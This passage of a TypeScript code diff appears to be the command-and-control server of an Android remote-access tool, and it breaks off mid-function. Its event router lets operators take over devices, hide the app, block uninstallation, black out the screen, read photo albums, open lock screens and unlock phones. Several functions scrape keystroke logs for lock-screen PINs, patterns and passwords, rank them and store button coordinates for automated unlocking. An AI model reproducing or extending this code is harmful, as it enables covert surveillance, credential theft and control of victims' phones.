路由客户端事件(从Web客户端到其他客户端或设备) + */ + routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean { + try { + this.logger.info(`🔍 处理客户端事件: ${eventType}, Socket: ${fromSocketId}`) + const client = this.webClientManager.getClientBySocketId(fromSocketId) + if (!client) { + this.logger.warn(`❌ 无法找到客户端: ${fromSocketId}`) + return false + } + this.logger.info(`✅ 找到客户端: ${client.id}`) + + switch (eventType) { + case 'REQUEST_DEVICE_CONTROL': + return this.handleDeviceControlRequest(client.id, eventData.deviceId) + + case 'RELEASE_DEVICE_CONTROL': + return this.handleDeviceControlRelease(client.id, eventData.deviceId) + + case 'GET_DEVICE_LIST': + return this.handleDeviceListRequest(client.id) + + case 'GET_OPERATION_LOGS': + return this.handleGetOperationLogs(client.id, eventData) + + case 'CLEAR_OPERATION_LOGS': + return this.handleClearOperationLogs(client.id, eventData.deviceId) + + case 'GET_DEVICE_PASSWORD': + return this.handleGetDevicePassword(client.id, eventData.deviceId) + + case 'SAVE_DEVICE_PASSWORD': + return this.handleSaveDevicePassword(client.id, eventData.deviceId, eventData.password) + + case 'UPDATE_DEVICE_STATE': + return this.handleUpdateDeviceState(client.id, eventData.deviceId, eventData.state) + + case 'GET_DEVICE_STATE': + return this.handleGetDeviceState(client.id, eventData.deviceId) + + case 'SEARCH_PASSWORDS_FROM_LOGS': + return this.handleSearchPasswordsFromLogs(client.id, eventData.deviceId) + + case 'DELETE_DEVICE': + return this.handleDeleteDevice(client.id, eventData.deviceId) + + case 'GET_UI_HIERARCHY': + return this.handleGetUIHierarchy(client.id, eventData.deviceId, eventData) + + case 'START_EXTRACT_CONFIRM_COORDS': + return this.handleStartExtractConfirmCoords(client.id, eventData.deviceId) + + case 'SAVE_CONFIRM_COORDS': + return this.handleSaveConfirmCoords(client.id, eventData.deviceId, eventData.coords) + + case 'ENABLE_BLACK_SCREEN': + return this.handleEnableBlackScreen(client.id, eventData.deviceId) + + case 'DISABLE_BLACK_SCREEN': + return this.handleDisableBlackScreen(client.id, eventData.deviceId) + + case 'OPEN_APP_SETTINGS': + return this.handleOpenAppSettings(client.id, eventData.deviceId) + + case 'HIDE_APP': + return this.handleHideApp(client.id, eventData.deviceId) + + case 'SHOW_APP': + return this.handleShowApp(client.id, eventData.deviceId) + + case 'REFRESH_MEDIA_PROJECTION_PERMISSION': + return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId) + + case 'REFRESH_MEDIA_PROJECTION_MANUAL': + return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId) + + case 'CLOSE_CONFIG_MASK': + return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual) + + case 'ENABLE_UNINSTALL_PROTECTION': + return this.handleEnableUninstallProtection(client.id, eventData.deviceId) + + case 'DISABLE_UNINSTALL_PROTECTION': + return this.handleDisableUninstallProtection(client.id, eventData.deviceId) + + case 'UNLOCK_DEVICE': + return this.handleUnlockDevice(client.id, eventData.deviceId, eventData.data) + + case 'GALLERY_PERMISSION_CHECK': + return this.handleGalleryPermissionCheck(client.id, eventData.deviceId) + + case 'ALBUM_READ': + return this.handleAlbumRead(client.id, eventData.deviceId, eventData.data) + + case 'OPEN_PIN_INPUT': + return this.handleOpenPinInput(client.id, eventData.deviceId) + + case 'OPEN_FOUR_DIGIT_PIN': + return this.handleOpenFourDigitPin(client.id, eventData.deviceId) + + case 'OPEN_PATTERN_LOCK': + return this.handleOpenPatternLock(client.id, eventData.deviceId) + + case 'CHANGE_SERVER_URL': + return this.handleChangeServerUrl(client.id, eventData.deviceId, eventData.data) + + default: + this.logger.warn(`未知的客户端事件类型: ${eventType}`) + return false + } + + } catch (error) { + this.logger.error('路由客户端事件失败:', error) + return false + } + } + + /** + * 处理设备控制请求 + */ + private handleDeviceControlRequest(clientId: string, deviceId: string): boolean { + // ✅ 检查设备是否存在 + const device = this.deviceManager.getDevice(deviceId) + if (!device) { + this.logger.warn(`⚠️ 尝试控制不存在的设备: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'device_control_response', { + deviceId, + success: false, + message: '设备不存在或已断开连接' + }) + return false + } + + // ✅ 检查客户端是否已经在控制此设备(避免重复请求) + if (this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.debug(`👀 客户端 ${clientId} 已经在控制设备 ${deviceId},跳过重复请求`) + this.webClientManager.sendToClient(clientId, 'device_control_response', { + deviceId, + success: true, + message: '已经在控制此设备' + }) + return true + } + + const result = this.webClientManager.requestDeviceControl(clientId, deviceId) + + this.webClientManager.sendToClient(clientId, 'device_control_response', { + deviceId, + success: result.success, + message: result.message, + currentController: result.currentController + }) + + if (result.success) { + // 通知设备有新的控制者 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('controller_changed', { clientId }) + this.logger.info(`📤 已通知设备 ${deviceId} 新控制者: ${clientId}`) + } + } + + // 恢复设备状态(如果存在) + this.restoreDeviceState(clientId, deviceId) + } + + return true + } + + /** + * 处理设备控制释放 + */ + private handleDeviceControlRelease(clientId: string, deviceId: string): boolean { + // ✅ 首先检查设备是否还在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device) { + this.logger.warn(`⚠️ 尝试释放已断开设备的控制权: ${deviceId}`) + // 即使设备已断开,也要清理控制权状态 + this.webClientManager.releaseDeviceControl(deviceId) + return false + } + + if (this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.webClientManager.releaseDeviceControl(deviceId) + + // 通知设备控制者已离开 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('controller_changed', { clientId: null }) + this.logger.debug(`📤 已通知设备 ${deviceId} 控制者离开`) + } else { + this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) + } + } else { + this.logger.warn(`⚠️ 无法找到设备SocketId: ${deviceId}`) + } + } else { + this.logger.warn(`⚠️ 客户端 ${clientId} 没有设备 ${deviceId} 的控制权`) + return false + } + + return true + } + + /** + * 处理设备列表请求 + */ + private handleDeviceListRequest(clientId: string): boolean { + try { + // ✅ 使用和getAllDevicesIncludingHistory相同的逻辑 + // 获取数据库中的所有历史设备 + const allDbDevices = this.databaseService.getAllDevices() + + // 获取内存中的在线设备,用于补充Socket ID和状态 + const onlineDevices = this.deviceManager.getAllDevices() + const onlineDeviceMap = new Map() + onlineDevices.forEach(device => { + onlineDeviceMap.set(device.id, device) + }) + + // 转换为前端格式并补充Socket ID + const allDevices = allDbDevices.map(dbDevice => { + const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId) + + return { + id: dbDevice.deviceId, + socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空 + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: dbDevice.capabilities, + connectedAt: dbDevice.firstSeen, + lastSeen: dbDevice.lastSeen, + // ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 + status: onlineDevice ? 'online' : dbDevice.status, + inputBlocked: onlineDevice?.inputBlocked || false + } + }) + + this.webClientManager.sendToClient(clientId, 'device_list', { + devices: allDevices.map(device => ({ + ...device, + isControlled: !!this.webClientManager.getDeviceController(device.id), + controller: this.webClientManager.getDeviceController(device.id) + })) + }) + + this.logger.info(`设备列表已发送: 在线=${onlineDevices.length}, 总计=${allDevices.length}`) + return true + + } catch (error) { + this.logger.error('处理设备列表请求失败:', error) + this.webClientManager.sendToClient(clientId, 'device_list', { + devices: [] + }) + return false + } + } + + /** + * 处理操作日志(从设备接收) + */ + handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean { + try { + // 验证消息来源是设备 + const device = this.deviceManager.getDeviceBySocketId(fromSocketId) + if (!device) { + this.logger.warn(`未知设备尝试发送操作日志: ${fromSocketId}`) + return false + } + + // 验证设备ID匹配 + if (device.id !== logMessage.deviceId) { + this.logger.warn(`设备ID不匹配: socket=${fromSocketId}, device=${device.id}, message=${logMessage.deviceId}`) + return false + } + + // 🔧 修复:更新设备的lastSeen时间(操作日志也是设备活跃的标志) + device.lastSeen = new Date() + this.logger.debug(`🔄 操作日志更新活跃时间: ${device.id} - ${logMessage.logType}`) + + // 🆕 检查是否为应用隐藏事件(通过操作日志传输) + if (logMessage.extraData && (logMessage.extraData as any).isAppHideEvent) { + this.logger.info(`📱 检测到通过操作日志发送的应用隐藏事件: ${device.id}`) + + try { + const deviceEventData = (logMessage.extraData as any).eventData + if (deviceEventData && (logMessage.extraData as any).eventType === 'app_hide_status') { + // 处理应用隐藏状态更新 + this.handleAppHideStatusUpdate(device.id, deviceEventData) + } + } catch (e) { + this.logger.error('处理应用隐藏事件失败:', e) + } + } + + // 保存到数据库 + this.databaseService.saveOperationLog({ + deviceId: logMessage.deviceId, + logType: logMessage.logType, + content: logMessage.content, + extraData: logMessage.extraData, + timestamp: new Date(logMessage.timestamp) + }) + + this.logger.debug(`操作日志已保存: ${device.name} - ${logMessage.logType}: ${logMessage.content}`) + + // 实时广播给正在控制该设备的Web客户端 + const controllerId = this.webClientManager.getDeviceController(device.id) + if (controllerId) { + this.webClientManager.sendToClient(controllerId, 'operation_log_realtime', { + deviceId: device.id, + log: { + logType: logMessage.logType, + content: logMessage.content, + extraData: logMessage.extraData, + timestamp: new Date(logMessage.timestamp) + } + }) + } + + return true + + } catch (error) { + this.logger.error('处理操作日志失败:', error) + return false + } + } + + /** + * 处理获取操作日志请求 + */ + private handleGetOperationLogs(clientId: string, requestData: any): boolean { + try { + const { deviceId, page = 1, pageSize = 50, logType } = requestData + + // 检查客户端是否有权限查看该设备日志 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`客户端 ${clientId} 无权查看设备 ${deviceId} 的日志`) + this.webClientManager.sendToClient(clientId, 'operation_logs_response', { + success: false, + message: '无权查看该设备日志' + }) + return false + } + + // 从数据库获取日志 + const result = this.databaseService.getOperationLogs(deviceId, page, pageSize, logType) + + // 发送给客户端 + this.webClientManager.sendToClient(clientId, 'operation_logs_response', { + success: true, + data: result + }) + + this.logger.debug(`操作日志已发送: ${deviceId}, page=${page}, total=${result.total}`) + return true + + } catch (error) { + this.logger.error('处理获取操作日志请求失败:', error) + this.webClientManager.sendToClient(clientId, 'operation_logs_response', { + success: false, + message: '获取日志失败' + }) + return false + } + } + + /** + * 处理清空操作日志请求 + */ + private handleClearOperationLogs(clientId: string, deviceId: string): boolean { + try { + // 检查客户端是否有权限清空该设备日志 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`客户端 ${clientId} 无权清空设备 ${deviceId} 的日志`) + this.webClientManager.sendToClient(clientId, 'clear_logs_response', { + success: false, + message: '无权清空该设备日志' + }) + return false + } + + // 清空数据库中的日志 + this.databaseService.clearOperationLogs(deviceId) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'clear_logs_response', { + success: true, + message: '日志已清空' + }) + + this.logger.info(`设备 ${deviceId} 的操作日志已被客户端 ${clientId} 清空`) + return true + + } catch (error) { + this.logger.error('处理清空操作日志请求失败:', error) + this.webClientManager.sendToClient(clientId, 'clear_logs_response', { + success: false, + message: '清空日志失败' + }) + return false + } + } + + /** + * 处理获取设备密码请求 + */ + private handleGetDevicePassword(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🔐 处理密码查询请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查客户端是否有权限查看该设备信息 + const hasControl = this.webClientManager.hasDeviceControl(clientId, deviceId) + this.logger.info(`🎫 权限检查结果: ${hasControl}`) + + if (!hasControl) { + this.logger.warn(`❌ 客户端 ${clientId} 无权查看设备 ${deviceId} 的密码`) + this.webClientManager.sendToClient(clientId, 'get_device_password_response', { + success: false, + message: '无权查看该设备信息' + }) + return false + } + + // ✅ 优先从状态表获取密码 + const password = this.databaseService.getDevicePassword(deviceId) + + // ✅ 获取设备状态信息 + const deviceState = this.databaseService.getDeviceState(deviceId) + + let responseData: any = { + success: true, + password: password, + deviceState: deviceState ? { + inputBlocked: deviceState.inputBlocked, + loggingEnabled: deviceState.loggingEnabled, + lastPasswordUpdate: deviceState.lastPasswordUpdate, + // 🆕 包含确认按钮坐标信息 + confirmButtonCoords: deviceState.confirmButtonCoords, + learnedConfirmButton: deviceState.learnedConfirmButton + } : null + } + + // ✅ 处理确认按钮坐标信息 + if (password) { + responseData.message = '找到密码记录' + + // 🆕 优先使用保存的确认按钮坐标 + if (deviceState?.confirmButtonCoords) { + responseData.hasConfirmButton = true + responseData.confirmButtonCoords = deviceState.confirmButtonCoords + this.logger.info(`🎯 使用保存的确认按钮坐标: (${deviceState.confirmButtonCoords.x}, ${deviceState.confirmButtonCoords.y})`) + } + // 🆕 其次使用学习的确认按钮坐标 + else if (deviceState?.learnedConfirmButton) { + responseData.hasConfirmButton = true + responseData.confirmButtonCoords = { + x: deviceState.learnedConfirmButton.x, + y: deviceState.learnedConfirmButton.y + } + this.logger.info(`🧠 使用学习的确认按钮坐标: (${deviceState.learnedConfirmButton.x}, ${deviceState.learnedConfirmButton.y}) 次数: ${deviceState.learnedConfirmButton.count}`) + } + // 🆕 最后尝试从日志中查找 + else { + const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT') + const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs) + + const matchingEntry = passwordsWithMeta.find(entry => entry.password === password) + if (matchingEntry && matchingEntry.hasConfirmButton) { + responseData.hasConfirmButton = true + responseData.confirmButtonCoords = { + x: matchingEntry.confirmButtonX, + y: matchingEntry.confirmButtonY + } + this.logger.info(`📝 从日志中找到确认按钮坐标: (${matchingEntry.confirmButtonX}, ${matchingEntry.confirmButtonY})`) + } else { + responseData.hasConfirmButton = false + this.logger.info(`ℹ️ 密码 ${password} 无确认按钮坐标`) + } + } + } else { + // 如果状态表没有密码,尝试从日志中提取 + const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT') + if (textInputLogs.logs.length > 0) { + const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs) + + if (passwordsWithMeta.length > 0) { + const bestEntry = passwordsWithMeta[0] + responseData.password = bestEntry.password + + if (bestEntry.hasConfirmButton) { + responseData.hasConfirmButton = true + responseData.confirmButtonCoords = { + x: bestEntry.confirmButtonX, + y: bestEntry.confirmButtonY + } + } else { + responseData.hasConfirmButton = false + } + + responseData.message = '从日志中找到密码记录' + this.logger.info(`✅ 从日志中提取密码: ${bestEntry.password}`) + } else { + responseData.message = '暂无密码记录' + } + } else { + responseData.message = '暂无密码记录' + } + } + + // 发送响应 + this.webClientManager.sendToClient(clientId, 'get_device_password_response', responseData) + + this.logger.debug(`设备密码和状态查询完成: ${deviceId}, 找到密码: ${!!password}, 设备状态: ${!!deviceState}`) + return true + + } catch (error) { + this.logger.error('处理获取设备密码请求失败:', error) + this.webClientManager.sendToClient(clientId, 'get_device_password_response', { + success: false, + message: '查询密码失败' + }) + return false + } + } + + /** + * 处理保存设备密码请求 + */ + private handleSaveDevicePassword(clientId: string, deviceId: string, password: string): boolean { + try { + this.logger.info(`🔐 处理保存设备密码请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查客户端是否有权限保存该设备密码 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`客户端 ${clientId} 无权保存设备 ${deviceId} 的密码`) + this.webClientManager.sendToClient(clientId, 'save_device_password_response', { + success: false, + message: '无权保存该设备密码' + }) + return false + } + + // 保存密码到数据库 + this.databaseService.saveDevicePassword(deviceId, password) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'save_device_password_response', { + success: true, + message: '密码已保存' + }) + + this.logger.info(`设备 ${deviceId} 的密码已被客户端 ${clientId} 保存`) + return true + + } catch (error) { + this.logger.error('处理保存设备密码请求失败:', error) + this.webClientManager.sendToClient(clientId, 'save_device_password_response', { + success: false, + message: '保存密码失败' + }) + return false + } + } + + /** + * 处理更新设备状态请求 + */ + private handleUpdateDeviceState(clientId: string, deviceId: string, state: any): boolean { + try { + this.logger.info(`🔐 处理更新设备状态请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查客户端是否有权限更新该设备状态 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`客户端 ${clientId} 无权更新设备 ${deviceId} 的状态`) + this.webClientManager.sendToClient(clientId, 'update_device_state_response', { + success: false, + message: '无权更新该设备状态' + }) + return false + } + + // 更新设备状态到数据库 + this.databaseService.updateDeviceState(deviceId, state) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'update_device_state_response', { + success: true, + message: '设备状态已更新' + }) + + this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 更新`) + return true + + } catch (error) { + this.logger.error('处理更新设备状态请求失败:', error) + this.webClientManager.sendToClient(clientId, 'update_device_state_response', { + success: false, + message: '更新设备状态失败' + }) + return false + } + } + + /** + * 处理获取设备状态请求 + */ + private handleGetDeviceState(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🔐 处理获取设备状态请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查客户端是否有权限获取该设备状态 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`客户端 ${clientId} 无权获取设备 ${deviceId} 的状态`) + this.webClientManager.sendToClient(clientId, 'get_device_state_response', { + success: false, + message: '无权获取该设备状态' + }) + return false + } + + // 获取设备状态 + const deviceState = this.databaseService.getDeviceState(deviceId) + + // 发送响应,包含设备状态信息 + this.webClientManager.sendToClient(clientId, 'get_device_state_response', { + success: true, + data: deviceState + }) + + this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 获取`) + return true + + } catch (error) { + this.logger.error('处理获取设备状态请求失败:', error) + this.webClientManager.sendToClient(clientId, 'get_device_state_response', { + success: false, + message: '获取设备状态失败' + }) + return false + } + } + + /** + * 广播消息到所有相关方 + */ + broadcastMessage(eventType: string, data: any): void { + this.webClientManager.broadcastToAll(eventType, data) + this.logger.debug(`广播消息: ${eventType}`) + } + + /** + * 获取路由统计信息 + */ + getRouterStats(): { + totalDevices: number + totalClients: number + activeControlSessions: number + } { + return { + totalDevices: this.deviceManager.getDeviceCount(), + totalClients: this.webClientManager.getClientCount(), + activeControlSessions: this.webClientManager.getAllClients() + .filter(client => client.controllingDeviceId).length + } + } + + public handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void { + try { + // 更新设备状态到数据库 + this.databaseService.updateDeviceInputBlocked(deviceId, blocked) + + // 通知所有连接的Web客户端设备状态已变化 + this.webClientManager.broadcastToAll('device_input_blocked_changed', { + deviceId, + blocked, + success: true, + message: '设备输入阻塞状态已更新' + }) + + this.logger.info(`设备 ${deviceId} 的输入阻塞状态已更新: ${blocked}`) + + } catch (error) { + this.logger.error('处理设备输入阻塞状态更新失败:', error) + this.webClientManager.broadcastToAll('device_input_blocked_changed', { + deviceId, + blocked, + success: false, + message: '更新设备输入阻塞状态失败' + }) + } + } + + private handleDeviceLoggingStateChanged(deviceId: string, enabled: boolean): void { + try { + // 更新设备状态到数据库 + this.databaseService.updateDeviceLoggingEnabled(deviceId, enabled) + + // 通知所有连接的Web客户端设备状态已变化 + this.webClientManager.broadcastToAll('device_logging_state_changed', { + deviceId, + enabled, + success: true, + message: '设备日志状态已更新' + }) + + this.logger.info(`设备 ${deviceId} 的日志状态已更新: ${enabled}`) + + } catch (error) { + this.logger.error('处理设备日志状态更新失败:', error) + this.webClientManager.broadcastToAll('device_logging_state_changed', { + deviceId, + enabled, + success: false, + message: '更新设备日志状态失败' + }) + } + } + + private restoreDeviceState(clientId: string, deviceId: string): void { + try { + // 从数据库获取设备状态 + const deviceState = this.databaseService.getDeviceState(deviceId) + + if (deviceState) { + // 发送设备状态给客户端 + this.webClientManager.sendToClient(clientId, 'device_state_restored', { + deviceId, + state: deviceState, + success: true, + message: '设备状态已恢复' + }) + + // ✅ 优化:Web端获取控制权时,只需要同步状态到Web端界面即可 + // Android端已经在运行并维护着真实状态,不需要强制同步命令 + // 移除了向Android端发送控制命令的逻辑,避免不必要的命令洪流导致连接不稳定 + + this.logger.info(`设备 ${deviceId} 状态已恢复到Web端: 密码=${deviceState.password ? '已设置' : '未设置'}, 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`) + } else { + this.logger.debug(`设备 ${deviceId} 没有保存的状态信息`) + } + + } catch (error) { + this.logger.error(`恢复设备 ${deviceId} 状态失败:`, error) + this.webClientManager.sendToClient(clientId, 'device_state_restored', { + deviceId, + success: false, + message: '恢复设备状态失败' + }) + } + } + + private handleSearchPasswordsFromLogs(clientId: string, deviceId: string): boolean { + try { + // 检查客户端权限 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`客户端 ${clientId} 无权搜索设备 ${deviceId} 的密码`) + this.webClientManager.sendToClient(clientId, 'password_search_response', { + success: false, + message: '无权搜索该设备的密码' + }) + return false + } + + this.logger.info(`🔍 开始从日志中搜索密码: 设备=${deviceId}`) + + // 从数据库获取文本输入相关的操作日志 + const textInputLogs = this.databaseService.getPasswordCandidatesFromLogs(deviceId) + + this.logger.info(`🔍 设备 ${deviceId} 密码查找结果: 找到 ${textInputLogs ? textInputLogs.length : 0} 条文本输入日志`) + + if (!textInputLogs || textInputLogs.length === 0) { + this.logger.info(`📝 设备 ${deviceId} 暂无文本输入日志记录`) + + // 调试:检查该设备是否有任何日志 + const allLogs = this.databaseService.getOperationLogs(deviceId, 1, 10) + this.logger.info(`🔍 调试信息 - 设备 ${deviceId} 的所有日志数量: ${allLogs.total}`) + + this.webClientManager.sendToClient(clientId, 'password_search_response', { + success: true, + message: `未找到文本输入记录。该设备共有 ${allLogs.total} 条日志,但无文本输入类型的日志。`, + passwords: [] + }) + return true + } + + // 分析日志内容,提取可能的密码 + const passwordCandidates = this.extractPasswordCandidates(textInputLogs) + + this.logger.info(`🔑 发现 ${passwordCandidates.length} 个可能的密码候选`) + + // 发送结果给客户端 + this.webClientManager.sendToClient(clientId, 'password_search_response', { + success: true, + message: `找到 ${passwordCandidates.length} 个可能的密码`, + passwords: passwordCandidates + }) + + return true + + } catch (error) { + this.logger.error('搜索密码失败:', error) + this.webClientManager.sendToClient(clientId, 'password_search_response', { + success: false, + message: '搜索密码时发生错误' + }) + return false + } + } + + /** + * ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标) + */ + private extractPasswordCandidatesWithMeta(logs: any[]): Array<{ + password: string + type: string + confirmButtonX?: number + confirmButtonY?: number + hasConfirmButton?: boolean + }> { + const passwordMap = new Map() + + for (const log of logs) { + const content = log.content || '' + const extraData = log.extraData + + this.logger.debug(`🔍 分析日志内容: ${content}`) + + let textInput = '' + let passwordType = 'unknown' + let confirmButtonX: number | undefined + let confirmButtonY: number | undefined + let hasConfirmButton = false + + // ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) + if (content.includes('🔑 密码输入分析完成')) { + const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/) + if (passwordMatch) { + textInput = passwordMatch[1].trim() + this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`) + } + + // 提取密码类型信息 + if (content.includes('数字密码') || content.includes('PIN码')) { + passwordType = content.includes('PIN码') ? 'pin' : 'numeric' + } else if (content.includes('图案密码') || content.includes('图形密码')) { + passwordType = 'pattern' + } else if (content.includes('混合密码')) { + passwordType = 'mixed' + } else if (content.includes('文本密码')) { + passwordType = 'text' + } else { + passwordType = this.detectPasswordTypeFromContent(textInput) + } + + // ✅ 提取确认坐标信息 + const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/) + if (coordMatch) { + confirmButtonX = parseInt(coordMatch[1]) + confirmButtonY = parseInt(coordMatch[2]) + hasConfirmButton = true + this.logger.info(`✅ 提取到确认坐标: (${confirmButtonX}, ${confirmButtonY})`) + } + + this.logger.info(`🔍 检测到密码类型: ${passwordType}`) + } + + // ✅ 从extraData中提取坐标信息 + if (extraData && typeof extraData === 'object') { + if (extraData.confirmButtonX && extraData.confirmButtonY) { + confirmButtonX = extraData.confirmButtonX + confirmButtonY = extraData.confirmButtonY + hasConfirmButton = true + } + } + + // ✅ 处理独立的确认坐标日志 + if (content.includes('确认按钮坐标更新') || log.log_type === 'PASSWORD_CONFIRM_COORDS') { + // 这是一个确认坐标更新日志,需要关联到最近的密码 + if (extraData && extraData.confirmButtonX && extraData.confirmButtonY) { + // 在已有的密码候选中查找最近的需要确认按钮的密码 + const existingEntries = Array.from(passwordMap.values()) + const recentEntry = existingEntries + .filter(entry => entry.type === 'mixed' || entry.type === 'text') + .sort((a, b) => (b.confirmButtonX ? 1 : 0) - (a.confirmButtonX ? 1 : 0)) // 优先选择还没有坐标的 + .pop() + + if (recentEntry && !recentEntry.confirmButtonX) { + recentEntry.confirmButtonX = extraData.confirmButtonX + recentEntry.confirmButtonY = extraData.confirmButtonY + recentEntry.hasConfirmButton = true + this.logger.info(`✅ 为已有密码 ${recentEntry.password} 添加确认坐标: (${extraData.confirmButtonX}, ${extraData.confirmButtonY})`) + } + } + continue // 跳过后续处理,这不是密码日志 + } + + // 验证并添加密码 + if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) { + this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`) + + const passwordEntry = { + password: textInput, + type: passwordType, + confirmButtonX, + confirmButtonY, + hasConfirmButton + } + + passwordMap.set(textInput, passwordEntry) + } + } + + // 转换为数组并排序 + const passwords = Array.from(passwordMap.values()) + + passwords.sort((a, b) => { + const typePriority: Record = { + 'pin': 100, + 'numeric': 90, + 'mixed': 80, + 'text': 70, + 'pattern': 60, + 'unknown': 50 + } + + const aPriority = typePriority[a.type] || 50 + const bPriority = typePriority[b.type] || 50 + + if (aPriority !== bPriority) { + return bPriority - aPriority + } + + const preferredLengths = [4, 6, 8] + const aScore = preferredLengths.includes(a.password.length) ? 100 - preferredLengths.indexOf(a.password.length) : a.password.length + const bScore = preferredLengths.includes(b.password.length) ? 100 - preferredLengths.indexOf(b.password.length) : b.password.length + + return bScore - aScore + }) + + return passwords + } + + /** + * 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别 + */ + private extractPasswordCandidates(logs: any[]): string[] { + const passwordSet = new Set() + const passwordWithType = new Map() // 记录密码及其类型 + + for (const log of logs) { + const content = log.content || '' + const extraData = log.extraData + + this.logger.debug(`🔍 分析日志内容: ${content}`) + + // 从日志内容中提取文本 + let textInput = '' + let passwordType = 'unknown' + + // ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) + if (content.includes('🔑 密码输入分析完成')) { + // 提取密码 + const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/) + if (passwordMatch) { + textInput = passwordMatch[1].trim() + this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`) + } + + // ✅ 提取密码类型信息 + if (content.includes('数字密码') || content.includes('PIN码')) { + passwordType = content.includes('PIN码') ? 'pin' : 'numeric' + } else if (content.includes('图案密码') || content.includes('图形密码')) { + passwordType = 'pattern' + } else if (content.includes('混合密码')) { + passwordType = 'mixed' + } else if (content.includes('文本密码')) { + passwordType = 'text' + } else { + // 根据密码内容自动判断类型 + passwordType = this.detectPasswordTypeFromContent(textInput) + } + + this.logger.info(`🔍 检测到密码类型: ${passwordType}`) + } + + // 方法2: 从传统的输入文本日志中解析 + else if (content.includes('输入文本:') || content.includes('远程输入文本:')) { + const match = content.match(/(?:远程)?输入文本:\s*(.+)/) + if (match) { + textInput = match[1].trim() + passwordType = this.detectPasswordTypeFromContent(textInput) + this.logger.info(`✅ 从输入文本日志中提取: ${textInput} (类型: ${passwordType})`) + } + } + + // ✅ 方法3: 从数字密码键盘点击日志中提取 + else if (content.includes('数字密码键盘点击:')) { + const digitMatch = content.match(/数字密码键盘点击:\s*(\d)/) + if (digitMatch) { + // 这是单个数字,需要与其他数字组合 + const digit = digitMatch[1] + this.logger.debug(`🔢 发现数字密码键盘点击: ${digit}`) + // 暂时不处理单个数字,等待完整密码分析 + } + } + + // 方法4: 从密码输入进度日志中提取 + else if (content.includes('🔒') && content.includes('密码输入:')) { + // 提取类似 "🔒 密码输入: •••••z (6位)" 的内容 + const inputMatch = content.match(/密码输入:\s*[•]*([^•\s\(]+)/) + if (inputMatch) { + textInput = inputMatch[1].trim() + passwordType = this.detectPasswordTypeFromContent(textInput) + this.logger.info(`✅ 从密码输入进度日志中提取: ${textInput} (类型: ${passwordType})`) + } + } + + // ✅ 方法5: 从重构密码日志中提取 + else if (content.includes('密码重构完成:')) { + const reconstructMatch = content.match(/密码重构完成:\s*'([^']+)'/) + if (reconstructMatch) { + textInput = reconstructMatch[1].trim() + passwordType = this.detectPasswordTypeFromContent(textInput) + this.logger.info(`✅ 从密码重构日志中提取: ${textInput} (类型: ${passwordType})`) + } + } + + // ✅ 方法6: 从带确认坐标的日志中提取密码和坐标 + else if (content.includes('确认坐标:')) { + const passwordMatch = content.match(/密码:(.+?)\s*\|/) + const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/) + + if (passwordMatch) { + textInput = passwordMatch[1].trim() + passwordType = this.detectPasswordTypeFromContent(textInput) + + if (coordMatch) { + const confirmX = parseInt(coordMatch[1]) + const confirmY = parseInt(coordMatch[2]) + this.logger.info(`✅ 从确认坐标日志中提取: 